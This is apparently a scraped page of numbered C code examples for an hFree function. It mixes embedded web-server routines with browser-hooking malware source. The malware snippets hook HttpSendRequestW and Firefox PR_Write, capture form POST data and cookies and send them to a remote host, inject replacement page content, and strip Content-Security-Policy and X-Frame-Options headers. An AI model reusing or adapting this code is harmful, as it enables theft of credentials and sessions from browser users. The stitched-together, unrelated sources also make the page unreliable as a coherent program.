Пример #1
0
void ejCloseEngine(int eid)
{
	ej_t	*ep;
	int		i;

	if ((ep = ejPtr(eid)) == NULL) {
		return;
	}

#ifdef EMF
	ejEmfClose(eid);
#endif

	bfreeSafe(B_L, ep->error);
	ep->error = NULL;
	bfreeSafe(B_L, ep->result);
	ep->result = NULL;

	ejLexClose(ep);

	for (i = ep->variableMax - 1; i >= 0; i--) {
		if (ep->flags & FLAGS_VARIABLES) {
			symClose(ep->variables[i] - EJ_OFFSET);
		}
		ep->variableMax = hFree((void***) &ep->variables, i);
	}

	if (ep->flags & FLAGS_FUNCTIONS) {
		symClose(ep->functions);
	}

	ejMax = hFree((void***) &ejHandles, ep->eid);
	bfree(B_L, ep);
}
Пример #2
0
//
// Queries spesified request handle for a target URL, and sends specified data and URL to the active host.
//
static VOID	IeQueryUrlPostForms(
	HANDLE	hRequest,	// Request handle to query
	LPSTR	pHeaders,	// HTTP headers of the request
	PVOID	lpData,		// Form data
	ULONG	dwData		// Form data length (bytes)
	)
{
	BOOL bIsSsl = FALSE;

	if (dwData <= MAX_FORM_SIZE)
	{
		ULONG	dwBufLen = MAX_URL_LEN * sizeof(_TCHAR);
		LPTSTR	pUrl = (LPTSTR)hAlloc(dwBufLen);
		if (pUrl)
		{
			if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, pUrl, &dwBufLen))
			{
				if (StrStrI(pUrl, szHttps) == pUrl)
					bIsSsl = TRUE;

				if ((g_ClientId.Plugins & PG_BIT_FORMS) || 
#ifdef _ALWAYS_HTTPS
					(bIsSsl)
#else
					(FALSE)
#endif
					)
				{
					LPSTR pCookie, pHeaders1 = NULL;

					if (!pHeaders)
						// No request headers specified, trying to get them from the request handle
						pHeaders = pHeaders1 = TaransferGetRequestHeaders(hRequest);

					if (ConfigCheckInitUrl(pUrl, NULL, bIsSsl, NULL) != URL_STATUS_POST_BLOCK)
					{
						pCookie = IeGetCookie(pUrl);

						PostForms(pUrl, pHeaders, pCookie, lpData, dwData, SEND_ID_FORM, TRUE);

						if (pCookie)
							hFree(pCookie);
					}

					if (pHeaders1)
						hFree(pHeaders1);
				}	// if ((g_ClientId.Plugins & PG_BIT_FORMS) || (StrStrI(pUrl, szHttps) == pUrl))
			}	// if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, pUrl, &dwBufLen))
			hFree(pUrl);
		}	// if (pUrl)
	}	// if (dwData <= MAX_FORM_SIZE)
}
Пример #3
0
//
//	Checks if the specified request handle should be processed, and adds it into the Handle Table.
//
static PHANDLE_CONTEXT IeCheckAddHandle(
	HANDLE	hRequest,	// Handle to HTTP request
	LPSTR	pReferer	// HTTP referer string
	)
{
	PHANDLE_CONTEXT	Ctx = NULL;
	PVOID	tCtx = NULL;
	ULONG	Status;

	if ((Status = IeCheckURL(hRequest, pReferer, &tCtx)) && Status != URL_STATUS_POST_BLOCK)
	{
		if (Ctx = AddHandle(hRequest))
		{
			if (Ctx->Flags & CF_IE)
			{
				// Handle seems to be reused
				StreamClear(Ctx->pStream);
				if (Ctx->Url)
					hFree(Ctx->Url);

				if (Ctx->tCtx)
				{
					TransferReleaseContext(Ctx->tCtx);
					hFree(Ctx->tCtx);
					Ctx->tCtx = NULL;
				}	// if (Ctx->tCtx)
			}	// if (Ctx->Flags & CF_IE)

			Ctx->tCtx = tCtx;
			Ctx->Flags = CF_IE;

			if (Status == URL_STATUS_REPLACE)
				Ctx->Flags |= CF_REPLACE;

			if (Status == URL_STATUS_BLOCK)
				Ctx->Status = REQUEST_BLOCKED;
			else
				Ctx->Status = UNKNOWN_STATUS;

			Ctx->Url = NULL;
		}
		else
		{
			ASSERT(FALSE);
		}
	}	// if (IeCheckURL(hRequest, tCtx))
	return(Ctx);
}
Пример #4
0
void symClose(sym_fd_t sd)
{
	sym_tabent_t	*tp;
	sym_t			*sp, *forw;
	int				i;

	a_assert(0 <= sd && sd < symMax);
	tp = sym[sd];
	a_assert(tp);

/*
 *	Free all symbols in the hash table, then the hash table itself.
 */
	for (i = 0; i < tp->hash_size; i++) {
		for (sp = tp->hash_table[i]; sp; sp = forw) {
			forw = sp->forw;
			valueFree(&sp->name);
			valueFree(&sp->content);
			bfree(B_L, (void*) sp);
			sp = forw;
		}
	}
	bfree(B_L, (void*) tp->hash_table);

	symMax = hFree((void***) &sym, sd);
	bfree(B_L, (void*) tp);
}
Пример #5
0
static VOID IeReplaceStream(HINTERNET hRequest, PHANDLE_CONTEXT Ctx)
{
	ULONG	Written, bLen = 0;
	LPSTR	FileName, Buffer;
	HANDLE	hFile;

	ASSERT(Ctx->Flags & CF_CONTENT);
	ASSERT(Ctx->Url);

	ConfigProcessStream(Ctx->pStream, NULL, Ctx->Url, (StrStrI(Ctx->Url, szHttps) == Ctx->Url) ? TRUE : FALSE, Ctx->tCtx);		

	InternetQueryOption(hRequest, INTERNET_OPTION_DATAFILE_NAME, NULL, &bLen);
	if ((bLen) && (FileName = hAlloc(bLen + 1)))
	{
		if (InternetQueryOption(hRequest, INTERNET_OPTION_DATAFILE_NAME, FileName, &bLen))
		{
			FileName[bLen] = 0;
			hFile =  CreateFile(FileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0);
			
			if (hFile != INVALID_HANDLE_VALUE)
			{
				if (Buffer = hAlloc(MAX_CONTENT_BUFFER_SIZE))
				{						
					StreamGotoBegin(Ctx->pStream);
					do
					{
						bLen = 0;
						CoInvoke(Ctx->pStream, Read, Buffer, MAX_CONTENT_BUFFER_SIZE, &bLen);

						if (bLen == 0)
							break;
	
						if (!WriteFile(hFile, Buffer, bLen, &Written, NULL) || (Written != bLen))
							break;
					} while(bLen == MAX_CONTENT_BUFFER_SIZE);

					hFree(Buffer);
				}	// if (Buffer = hAlloc(MAX_CONTENT_BUFFER_SIZE))
				CloseHandle(hFile);
			}	// if (hFile != INVALID_HANDLE_VALUE)
		}	// if (InternetQueryOption(
		hFree(FileName);
	}	// if ((bLen) && (FileName = hAlloc(bLen)))

}
Пример #6
0
void socketFree(int sid)
{
	socket_t	*sp;
	char_t		buf[256];
	int			i;

	if ((sp = socketPtr(sid)) == NULL) {
		return;
	}

/*
 *	To close a socket, remove any registered interests, set it to
 *	non-blocking so that the recv which follows won't block, do a
 *	shutdown on it so peers on the other end will receive a FIN,
 *	then read any data not yet retrieved from the receive buffer,
 *	and finally close it.  If these steps are not all performed
 *	RESETs may be sent to the other end causing problems.
 */
	socketRegisterInterest(sp, 0);
	if (sp->sock >= 0) {
		socketSetBlock(sid, 0);
/**************************** HANHUI ***************************/
        /*
		if (shutdown(sp->sock, 1) >= 0) {
			recv(sp->sock, buf, sizeof(buf), 0);
		}
        */
        shutdown(sp->sock, SHUT_RDWR);
/**************************** HANHUI ***************************/

#if (defined (WIN) || defined (CE))
		closesocket(sp->sock);
#else
		close(sp->sock);
#endif
	}

	ringqClose(&sp->inBuf);
	ringqClose(&sp->outBuf);
	ringqClose(&sp->lineBuf);

	bfree(B_L, sp);
	socketMax = hFree((void***) &socketList, sid);

/*
 *	Calculate the new highest socket number
 */
	socketHighestFd = -1;
	for (i = 0; i < socketMax; i++) {
		if ((sp = socketList[i]) == NULL) {
			continue;
		}
		socketHighestFd = max(socketHighestFd, sp->sock);
	}
}
Пример #7
0
void emfUnschedCallback(int schedid)
{
	sched_t	*s;

	if (sched == NULL || schedid == -1 || schedid >= schedMax || 
		(s = sched[schedid]) == NULL) {
		return;
	}
	bfree(B_L, s);
	schedMax = hFree((void***) &sched, schedid);
}
Пример #8
0
int ejCloseBlock(int eid, int vid)
{
	ej_t	*ep;

	if((ep = ejPtr(eid)) == NULL) {
		return -1;
	}
	symClose(ep->variables[vid] - EJ_OFFSET);
	ep->variableMax = hFree((void***) &ep->variables, vid);
	return 0;

}
Пример #9
0
int dbDeleteRow(int did, char_t *tablename, int row)
{
    int			tid, nColumns, nRows;
    dbTable_t	*pTable;

    a_assert(tablename);
    tid = dbGetTableId(0, tablename);
    a_assert(tid >= 0);

    if ((tid >= 0) && (tid < dbMaxTables) && (dbListTables[tid] != NULL)) {
        pTable = dbListTables[tid];
    } else {
        return DB_ERR_TABLE_NOT_FOUND;
    }

    nColumns = pTable->nColumns;
    nRows = pTable->nRows;

    if ((row >= 0) && (row < nRows)) {
        int *pRow = pTable->rows[row];

        if (pRow) {
            int	column = 0;
            /*
             *			Free up any allocated strings
             */
            while (column < nColumns) {
                if (pRow[column] &&
                        (pTable->columnTypes[column] == T_STRING)) {
                    bfree(B_L, (char_t *)pRow[column]);
                }

                column++;
            }
            /*
             *			Zero out the row for safety
             */
            memset(pRow, 0, nColumns * max(sizeof(int), sizeof(char_t *)));

            bfreeSafe(B_L, pRow);
            pTable->nRows = hFree((void ***)&pTable->rows, row);
            trace(5, T("DB: Deleted row <%d> from table <%s>\n"),
                  row, tablename);
        }
        return 0;
    } else {
        trace(3, T("DB: Unable to delete row <%d> from table <%s>\n"),
              row, tablename);
    }

    return -1;
}
Пример #10
0
BOOL WINAPI my_HttpSendRequestW(HINTERNET hRequest, LPWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength)
{
	BOOL	Ret = FALSE;
	LPWSTR	NewHeaders;
	LPSTR	pHeaders = NULL;
	WINERROR Error;
	PHANDLE_CONTEXT	Ctx = NULL;

	ENTER_HOOK();

	if (NewHeaders = IeCreateContextModifyHeadersW(hRequest, lpszHeaders, dwHeadersLength, &pHeaders, &Ctx))
		lpszHeaders = NewHeaders;

	if (Ctx && Ctx->Status == REQUEST_BLOCKED)
	{
		ReleaseHandle(Ctx);
		Error = ERROR_INTERNET_CANNOT_CONNECT;
	}
	else
	{
		if ((dwOptionalLength) && (lpOptional))
			IeQueryUrlPostForms(hRequest, pHeaders, lpOptional, dwOptionalLength);

		Ret = HttpSendRequestW(hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength);

		Error = GetLastError();
	}

	if (NewHeaders)
		hFree(NewHeaders);

	if (pHeaders)
		hFree(pHeaders);

	SetLastError(Error);

	LEAVE_HOOK();
	return(Ret);
}
Пример #11
0
int ejOpenEngine(sym_fd_t variables, sym_fd_t functions)
{
	ej_t	*ep;
	int		eid, vid;

	if ((eid = hAllocEntry((void***) &ejHandles, &ejMax, sizeof(ej_t))) < 0) {
		return -1;
	}
	ep = ejHandles[eid];
	ep->eid = eid;

/*
 *	Create a top level symbol table if one is not provided for variables and
 *	functions. Variables may create other symbol tables for block level
 *	declarations so we use hAlloc to manage a list of variable tables.
 */
	if ((vid = hAlloc((void***) &ep->variables)) < 0) {
		ejMax = hFree((void***) &ejHandles, ep->eid);
		return -1;
	}
	if (vid >= ep->variableMax) {
		ep->variableMax = vid + 1;
	}

	if (variables == -1) {
		ep->variables[vid] = symOpen(64) + EJ_OFFSET;
		ep->flags |= FLAGS_VARIABLES;
	} else {
		ep->variables[vid] = variables + EJ_OFFSET;
	}

	if (functions == -1) {
		ep->functions = symOpen(64);
		ep->flags |= FLAGS_FUNCTIONS;
	} else {
		ep->functions = functions;
	}

	ejLexOpen(ep);

/*
 *	Define standard constants
 */
	ejSetGlobalVar(ep->eid, T("null"), NULL);

#ifdef EMF
	ejEmfOpen(ep->eid);
#endif
	return ep->eid;
}
Пример #12
0
static LPWSTR IeCreateContextModifyHeadersW(
	HINTERNET			hRequest,
	LPWSTR				lpszHeaders,
	DWORD				dwHeadersLength,
	LPSTR*				ppHeaders,
	PHANDLE_CONTEXT*	pCtx	
	)
{
	LPWSTR	NewHeaders = NULL;
	LPSTR	pHeaders = NULL, NewHeadersA;
	ULONG	Len;
	PHANDLE_CONTEXT	Ctx = NULL;

	if	((lpszHeaders) && (dwHeadersLength == -1))
	{
		Len = lstrlenW(lpszHeaders);

		if (pHeaders = hAlloc(Len + 1))
			wcstombs(pHeaders, lpszHeaders, Len + 1);
	}
	
	if (NewHeadersA = IeCreateContextModifyHeadersA(hRequest, pHeaders, dwHeadersLength, ppHeaders, &Ctx))
	{
		Len = lstrlenA(NewHeadersA);
		if (NewHeaders = hAlloc((Len + 1) * sizeof(WCHAR)))
			mbstowcs(NewHeaders, NewHeadersA, Len + 1);
		hFree(NewHeadersA);
	}

	if (pHeaders)
		hFree(pHeaders);

	if (pCtx)
		*pCtx = Ctx;

	return(NewHeaders);
}
Пример #13
0
void dbClose(int did)
{
    int			table, column;
    dbTable_t	*pTable;

    /*
     *	Before doing anything, delete all the contents of the database
     */
    dbZero(did);

    /*
     *	Now delete the tables
     */
    for (table = 0; table < dbMaxTables; table++) {
        pTable = dbListTables[table];

        if (pTable != NULL) {
            /*
             *			Delete the table schema
             */
            if (pTable->nColumns) {
                for (column = 0; column < pTable->nColumns; column++) {
                    bfreeSafe(B_L, pTable->columnNames[column]);
                }
                bfreeSafe(B_L, pTable->columnNames);
                bfreeSafe(B_L, pTable->columnTypes);
            }
            /*
             *			Delete the table name
             */
            bfreeSafe(B_L, pTable->name);
            /*
             *			Free the table
             */
            bfreeSafe(B_L, pTable);
            hFree((void ***) &dbListTables, table);
        }
    }

    if (dbListTables) {
        bfree(B_L, dbListTables);
    }

    /*
     *	Set the global table list to a safe value
     */
    dbListTables = NULL;
    dbMaxTables = 0;
}
Пример #14
0
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//	Queries specified handle for the user Parser string and if successfull activates the Parser.
//  This function used only once, at browser startup.
//
static VOID IeActivateParser(HINTERNET hInternet)
{
	ULONG bSize = 0;
	InternetQueryOption(hInternet, INTERNET_OPTION_USER_AGENT, NULL, &bSize);
	if (bSize)
	{
		LPTSTR	AgentStr;
		if (AgentStr = (LPTSTR)hAlloc(bSize))
		{
			if (InternetQueryOption(hInternet, INTERNET_OPTION_USER_AGENT, AgentStr, &bSize))
				ActivateParser(AgentStr);
			hFree(AgentStr);
		}
	}
}
Пример #15
0
//
//	Performs handle check and returns handle-associated context.
//
static PHANDLE_CONTEXT IeGetContext(HANDLE	hRequest)
{
	PHANDLE_CONTEXT Ctx = NULL;

	if (Ctx = FindHandle(hRequest))
	{
		if (!(Ctx->Flags & (CF_SKIP | CF_CONTENT)))
		{
			Ctx->Flags |= CF_SKIP;

			// Checking content type
			if ((Ctx->Flags & CF_REPLACE) || IeCheckContentType(hRequest))
			{
				ULONG	bLen = 0;
				ASSERT(Ctx->Url == NULL);

				// Querying the URL
				InternetQueryOption(hRequest, INTERNET_OPTION_URL, NULL, &bLen);
				if ((bLen) && (Ctx->Url = hAlloc(bLen + sizeof(_TCHAR))))
				{
					if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, Ctx->Url, &bLen))
					{
						Ctx->Url[bLen] = 0;
						Ctx->Flags |= CF_CONTENT;
						Ctx->Flags ^= CF_SKIP;
					}
					else
					{
						hFree(Ctx->Url);
						Ctx->Url = NULL;
					}
				}	// if ((bLen) && (Ctx->Url = hAlloc(bLen + sizeof(_TCHAR))))
			}	// if (IeCheckContentType(hFile))
		}	// if (!(Ctx->Flags & (CF_SKIP | CF_CONTENT)))

		if (Ctx->Flags & CF_SKIP)
		{
			ReleaseHandle(Ctx);
			Ctx = NULL;
		}
	}	// if (Ctx = FindHandle(hFile))

	return(Ctx);
}
Пример #16
0
BOOL WINAPI my_HttpAddRequestHeadersW(HINTERNET hRequest, LPWSTR lpszHeaders, DWORD dwHeadersLength, DWORD dwModifiers)
{
	BOOL	Ret;
	LPWSTR	NewHeaders;

	ENTER_HOOK();

	if (NewHeaders = IeCreateContextModifyHeadersW(hRequest, lpszHeaders, dwHeadersLength, NULL, NULL))
		lpszHeaders = NewHeaders;

	Ret = HttpAddRequestHeadersW(hRequest, lpszHeaders, dwHeadersLength, dwModifiers);

	if (NewHeaders)
		hFree(NewHeaders);

	LEAVE_HOOK();
	return(Ret);

}
Пример #17
0
//
//	Returns Cookie string for the specified URL.
//
LPTSTR IeGetCookie(
	LPTSTR pUrl
	)
{
	LPTSTR	pCookie = NULL;
	ULONG	Size = 0;

	InternetGetCookie(pUrl, NULL, NULL, &Size); 
	if (Size && (pCookie = hAlloc(Size + sizeof(_TCHAR))))
	{
		if (!InternetGetCookie(pUrl, NULL, pCookie, &Size))
		{
			hFree(pCookie);
			pCookie = NULL;
		}
		else
			pCookie[Size] = 0;
	}	// if (Size && (pCookie = AppAlloc(Size * sizeof(_TCHAR))))

	return(pCookie);
}
Пример #18
0
void dbZero(int did)
{
    int			table, row, column, nRows, nColumns;
    int			*pRow;
    dbTable_t	*pTable;

    /*
     *	Delete all data from all tables
     */
    for (table = 0; table < dbMaxTables; table++) {
        pTable = dbListTables[table];
        /*
         *		Delete the row data contained within the schema
         */
        if (pTable) {
            nColumns = pTable->nColumns;
            nRows = pTable->nRows;
            for (row = 0; row < nRows; row++) {
                pRow = pTable->rows[row];
                if (pRow) {
                    /*
                     *					Only delete the contents of rows not previously deleted!
                     */
                    for (column = 0; column < nColumns; column++) {
                        if (pTable->columnTypes[column] == T_STRING) {
                            bfreeSafe(B_L, (char_t *)(pRow[column]));
                            pRow[column] = (int)NULL;
                        }
                    }

                    bfreeSafe(B_L, pRow);
                    hFree((void ***) &pTable->rows, row);
                }
            }

            pTable->rows = NULL;
            pTable->nRows = 0;
        }
    }
}
Пример #19
0
static VOID GetPageEx(PHANDLE_CONTEXT Ctx, HINTERNET hFile, DWORD_PTR dwContext)
{
	INTERNET_BUFFERS Buffers = {0};
	LPVOID pMem = hAlloc(MAX_CONTENT_BUFFER_SIZE);

	if (pMem)
	{
		Buffers.dwStructSize = sizeof(INTERNET_BUFFERS);
		Buffers.lpvBuffer = pMem;
		
		do
		{
			Buffers.dwBufferLength = MAX_CONTENT_BUFFER_SIZE;

			if (InternetReadFileEx(hFile, &Buffers, IRF_SYNC | IRF_NO_WAIT, dwContext))
			{
				ASSERT(Buffers.dwBufferLength <= MAX_CONTENT_BUFFER_SIZE);
				ASSERT(Buffers.dwBufferTotal <= MAX_CONTENT_BUFFER_SIZE);

				if (Buffers.dwBufferLength == 0)
				{
					Ctx->Status = LOADING_COMPLETE;
					break;
				}
				else
					CoInvoke(Ctx->pStream, Write, pMem, Buffers.dwBufferLength, NULL);

			}	// if (InternetReadFileEx(
			else
			{
				if (GetLastError() != ERROR_IO_PENDING)
					Ctx->Status = ERROR_WHILE_LOADING;
				break;
			}	// else // if (InternetReadFileEx(
		}while (TRUE);

		hFree(pMem);
	}	// 	if (pMem)
}
Пример #20
0
//
//	Checks the specified request if it contains supported content type.
//
static BOOL IeCheckContentType(
	HANDLE hRequest
	)
{
	BOOL	Ret	= FALSE;
	ULONG	bRead = 0;
	LPTSTR	Content;

	HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_TYPE, NULL, &bRead, NULL);

	if (Content = hAlloc(bRead + sizeof(_TCHAR)))
	{
		if (HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_TYPE, Content, &bRead, NULL))
		{
			Content[bRead] = 0;
			Ret = CheckContentType(Content);
		}
		hFree(Content);
	}	// if (Content = hAlloc(bRead))

	return(Ret);
}
Пример #21
0
sym_fd_t symOpen(int hash_size)
{
	sym_fd_t		sd;
	sym_tabent_t	*tp;

	a_assert(hash_size > 2);

/*
 *	Create a new handle for this symbol table
 */
	if ((sd = hAlloc((void***) &sym)) < 0) {
		return -1;
	}

/*
 *	Create a new symbol table structure and zero
 */
	if ((tp = (sym_tabent_t*) balloc(B_L, sizeof(sym_tabent_t))) == NULL) {
		symMax = hFree((void***) &sym, sd);
		return -1;
	}
	memset(tp, 0, sizeof(sym_tabent_t));
	if (sd >= symMax) {
		symMax = sd + 1;
	}
	a_assert(0 <= sd && sd < symMax);
	sym[sd] = tp;

/*
 *	Now create the hash table for fast indexing.
 */
	tp->hash_size = calcPrime(hash_size);
	tp->hash_table = (sym_t**) balloc(B_L, tp->hash_size * sizeof(sym_t*));
	a_assert(tp->hash_table);
	memset(tp->hash_table, 0, tp->hash_size * sizeof(sym_t*));

	return sd;
}
Пример #22
0
int hAllocEntry(void ***list, int *max, int size)
#endif
{
	char_t	*cp;
	int		id;

	a_assert(list);
	a_assert(max);

#ifdef B_STATS
	if ((id = HALLOC(B_ARGS, (void***) list)) < 0) {
#else
	if ((id = hAlloc((void***) list)) < 0) {
#endif
		return -1;
	}

	if (size > 0) {
#ifdef B_STATS
		if ((cp = balloc(B_ARGS, size)) == NULL) {
#else
		if ((cp = balloc(B_L, size)) == NULL) {
#endif
			hFree(list, id);
			return -1;
		}
		a_assert(cp);
		memset(cp, 0, size);

		(*list)[id] = (void*) cp;
	}

	if (id >= *max) {
		*max = id + 1;
	}
	return id;
}
Пример #23
0
//
//	Allocates a buffer and copies HTTP referer header value into it.
//
LPSTR	IeGetReferer(
	HINTERNET	hRequest
	)
{
	LPSTR	RefererPtr, pHeaders, pReferer = NULL;
	ULONG	Len;

	if (pHeaders = TaransferGetRequestHeaders(hRequest))
	{
		// Looking for the referer header
		if (RefererPtr = HttpFindHeaderA((LPSTR)pHeaders, szReferer, &Len))
		{
			// Allocating and copying the referer string
			if (pReferer = hAlloc(Len + sizeof(CHAR)))
			{
				memcpy(pReferer, RefererPtr, Len);
				pReferer[Len] = 0;
			}
		}
		hFree(pHeaders);
	}	// if (pHeaders = TaransferGetRequestHeaders(hRequest))

	return(pReferer);
}
Пример #24
0
//
//	Queries and checks specified request's URL. Creates a HANDLE_CONTEXT if the URL matches config settings.
//
static PHANDLE_CONTEXT	FfCheckAddHandle(
	HANDLE			Handle,		//	handle of a HTTP request to check
	PHTTP_HEADERS	Headers,	//	pointer to HTTP_HEADERS structure for the specfied request
	ULONG			Flags,		//	a combination of CF_XXX flags
	BOOL			IsSsl		//	TRUE if this is an SSL connection
	)
{
	PHANDLE_CONTEXT	Ctx = NULL;
	ULONG	Status;
	PVOID	tCtx = NULL;
	LPSTR	Referer = NULL;

	ASSERT_HTTP_HEADERS(Headers);
	ASSERT(Headers->Url);

	// Looking for referer header
	if (Headers->pReferer && Headers->RefererSize)
	{
		// Allocating and copying referer string
		if (Referer = hAlloc(Headers->RefererSize + sizeof(CHAR)))
		{
			memcpy(Referer, Headers->pReferer, Headers->RefererSize);
			Referer[Headers->RefererSize] = 0;
		}
	}

	Status = ConfigCheckInitUrl(Headers->Url, Referer, IsSsl, &tCtx);
	if ((Status || (Flags & CF_FORM)) && (Status != URL_STATUS_POST_BLOCK) && (Ctx = AddHandle(Handle)))
	{
		// Saving the URL for future use
		if (Ctx->Url)
		{
			// Handle seems to be reused, releasing URL
			hFree(Ctx->Url);
			Ctx->cTotal = 0;
			Ctx->cActive = 0;
			Ctx->Flags = Flags;
		}
		else
		{
			ASSERT(Ctx->Flags == 0);
		}

		if (Ctx->tCtx)
		{
			TransferReleaseContext(Ctx->tCtx);
			hFree(Ctx->tCtx);
			Ctx->tCtx = NULL;
		}

		Ctx->tCtx = tCtx;
		Ctx->Url = Headers->Url;

		if (Status == URL_STATUS_REPLACE)
			Ctx->Flags |= CF_REPLACE;
		else if (Status == URL_STATUS_BLOCK)
			Ctx->Status = REQUEST_BLOCKED;
		else 
		{
			if (Status == URL_STATUS_UNDEF)
			{
				ASSERT(Flags & CF_FORM);
				Ctx->Flags = CF_FORM;
			}
			Ctx->Status = UNKNOWN_STATUS;
		}

		Headers->Url = NULL;
	}	// if ((Status || (Flags & CF_FORM)) && (Ctx = AddHandle(Handle)))
	
	if (Referer)
		hFree(Referer);

	return(Ctx);
}
Пример #25
0
//
//	Searches for HTTP-headers within the specified context buffer.
//	Parses HTTP headers.
//
static VOID ContextParseHeaders(
	PPR_SOCKET	Ps,
	PHANDLE_CONTEXT	Ctx
	)
{
	HRESULT	hResult;	
	LPSTREAM pStream = Ctx->pStream;
	LPSTREAM pDataStream = Ctx->pReceiveStream;
	PHTTP_HEADERS	Headers = NULL;
	ULONG	SizeOfHeaders = 0;

	ASSERT(Ctx->cActive);
	ASSERT(Ctx->cActive == Ctx->cTotal);

	// Checking for HTTP reply headers, and avaliability of CRLF sequence
	// Currently only standard CRLF-devided headers are supported
	if (HttpIsReply(Ctx->cBuffer, Ctx->cTotal) && StrStrI(Ctx->cBuffer, szCRLF))
		// Loading data until we have whole HTTP header read, or buffer is full, or any error occured.
		SizeOfHeaders = BlockingReadHeaders(Ps, Ctx, TRUE);
	
	ASSERT(SizeOfHeaders <= MAX_CONTENT_BUFFER_SIZE);

	// Check out HTTP headers: we assume we have enough space to completely receive all headers.
	if (SizeOfHeaders && (Headers = HttpParseHeaders(Ctx->cBuffer, SizeOfHeaders)))
	{				
		PCHAR ContentType = HttpFindHeaderA(Headers->Binary, szContentType, NULL);

		Ctx->Flags = (Ctx->Flags & CF_REPLACE) | Headers->Flags;
		Ctx->Length = 0;

		// Check if the content should be completely replaced...
		if ((Ctx->Flags & CF_REPLACE) || 
			// ... or check out the content type
			((ContentType) && CheckContentType(ContentType)))
		{						
			PCHAR	nBuffer;
			ULONG	nSize;

			Ctx->Flags |= CF_CONTENT;
		
			ASSERT(Headers->HeadersSize <= Ctx->cTotal);
			Ctx->cActive = (Ctx->cTotal - Headers->HeadersSize);

			// Clear main data stream
			StreamClear(Ctx->pStream);
			// Clear content load stream
			StreamClear(Ctx->pReceiveStream);
			// Clear content grab stream
			StreamClear(Ctx->pStream1);

			// Removing "Content-Security-Policy" header
			if (nBuffer = HttpSetHeaderA(Headers->Binary, szSecPolicy, NULL, NULL))
			{
				hFree(Headers->Binary);
				Headers->Binary = nBuffer;
			}

			// Removing "X-Frame-Options" header
			if (nBuffer = HttpSetHeaderA(Headers->Binary, szXFrameOptions, NULL, NULL))
			{
				hFree(Headers->Binary);
				Headers->Binary = nBuffer;
			}

			// Looking for "Access-Control-Allow-Origin" header
			if (StrStrI(Headers->Binary, szAccessCtrlOrigin))
			{
				// Setting "Access-Control-Allow-Origin" value to "*"
				if (nBuffer = HttpSetHeaderA(Headers->Binary, szAccessCtrlOrigin, "*", NULL))
				{
					hFree(Headers->Binary);
					Headers->Binary = nBuffer;
				}
			}	// if (StrStrI(Headers->Binary, szAccessCtrlOrigin))

			// Check out if the content is not chunked or the page should be completely replaced
			if (!(Ctx->Flags & CF_CHUNKED) || (Ctx->Flags & CF_REPLACE))
			{
				ASSERT(!(Ctx->Flags & CF_CHUNKED) || !(Ctx->Flags & CF_LENGTH));
				
				// Checking if the page content will be replaced
				if (Ctx->Flags & CF_REPLACE)
				{					
					// Loading HTTP headers of the page to replace with
					if (GetReplaceHeaders(Ctx->tCtx, &nBuffer, &nSize) == NO_ERROR)
					{
						hFree(Headers->Binary);
						Headers->Binary = nBuffer;
						Headers->HeadersSize = nSize;
					}	// if (GetReplaceHeaders(Ctx->tCtx, &nBuffer, &nSize) == NO_ERROR)
					Ctx->Flags &= ~(CF_CHUNKED | CF_LENGTH);
					Ctx->ChunkSize = 1;
				}	// if (Ctx->Flags & CF_REPLACE)
				else
				{
					if (Ctx->Flags & CF_LENGTH)
					{
						// Content has specified length
						if ((Ctx->ChunkSize = Headers->ContentSize) == 0)
							// There's no HTTP content, nothing to process
							Ctx->Flags = 0;
					}
					else
						// There's no content length specified
						// Setting ChunkSize to indicate that we gonna continue loading data until the connection is closed.
						Ctx->ChunkSize = 1;
				}

				if (Ctx->Flags & CF_CONTENT)
				{
					// Setting "Transfer-encoding: chunked" header
					if (nBuffer = HttpSetHeaderA(Headers->Binary, szTransferEncoding, szChunked, NULL))
					{
						hFree(Headers->Binary);
						Headers->Binary = nBuffer;
					}

					// Removing "Content-length" header
					if (nBuffer = HttpSetHeaderA(Headers->Binary, szContentLength, NULL, NULL))
					{
						hFree(Headers->Binary);
						Headers->Binary = nBuffer;
					}

					// "Transfer-encoding: chunked" avaliable from HTTP version 1.1 only and version 1.0 will ignore it,
					//	so we have to replace HTTP version in reply to support chunked.
					ASSERT(Headers->Binary[5] == '1' && Headers->Binary[6] == '.');
					Headers->Binary[7] = '1';
				}	// if (Ctx->Flags & CF_CONTENT)
			}	// if (Ctx->Flags & CF_LENGTH)
			else
				// Content has no length specified
				Ctx->ChunkSize = 0;
#if _DEBUG 
			if (Ctx->pHeaders = hAlloc(Headers->HeadersSize + 1))
			{
				memcpy(Ctx->pHeaders, Headers->Binary, Headers->HeadersSize);
				Ctx->pHeaders[Headers->HeadersSize] = 0;
			}
#endif

			// Writing HTTP headers to the main stream
			hResult = CoInvoke(pStream, Write, Headers->Binary, lstrlen(Headers->Binary), NULL);
			ASSERT(hResult == S_OK);
			StreamGotoBegin(pStream);
		}	// if ((ContentType) && 
		else
			// Reseting context flags. We not gonna process it.
			Ctx->Flags = 0;

		HttpReleaseHeaders(Headers);
	}	// if (SizeOfHeaders && (Headers = HttpParseHeaders(Ctx->cBuffer, SizeOfHeaders)))
}
Пример #26
0
//
//	Common PR_Write dispatch function.
//	Checks if the specified request has to be handled, initiates any replace-data receive and sends HTTP-form data.
//
LONG PRIO_Write(
	PPR_SOCKET	Ps,		// socket handle
	PCHAR		buf,	// buffer containing data to write
	LONG		amount	// number of bytes to write
	)
{
	LONG	bRet = 0, bSize = 0;
	PCHAR	nBuffer;
	PHANDLE_CONTEXT Ctx = NULL;
	PHTTP_HEADERS	Headers = NULL;


	do	// not a loop
	{	
		if (amount == 0)
			break;

		if (!HttpIsRequest(buf, amount))
		{
			Ctx = FindHandle(Ps->fd);
			break;
		}

		if (!(nBuffer = StrStrNA(buf, szEmptyStr, amount)))
			break;

		ASSERT(nBuffer >= buf && (nBuffer < (buf + amount)));
	
		if (!(Headers = HttpParseHeaders(buf, (cstrlen(szEmptyStr) + (ULONG)(nBuffer - buf)))))
			break;

		if (!g_UserAgentStr)
			ActivateParser(HttpQueryAgent(Headers));

		if (!(Headers->Url = HttpQueryUrl(Headers, (Ps->Flags & PR_SOCKET_FLAG_SSL))))
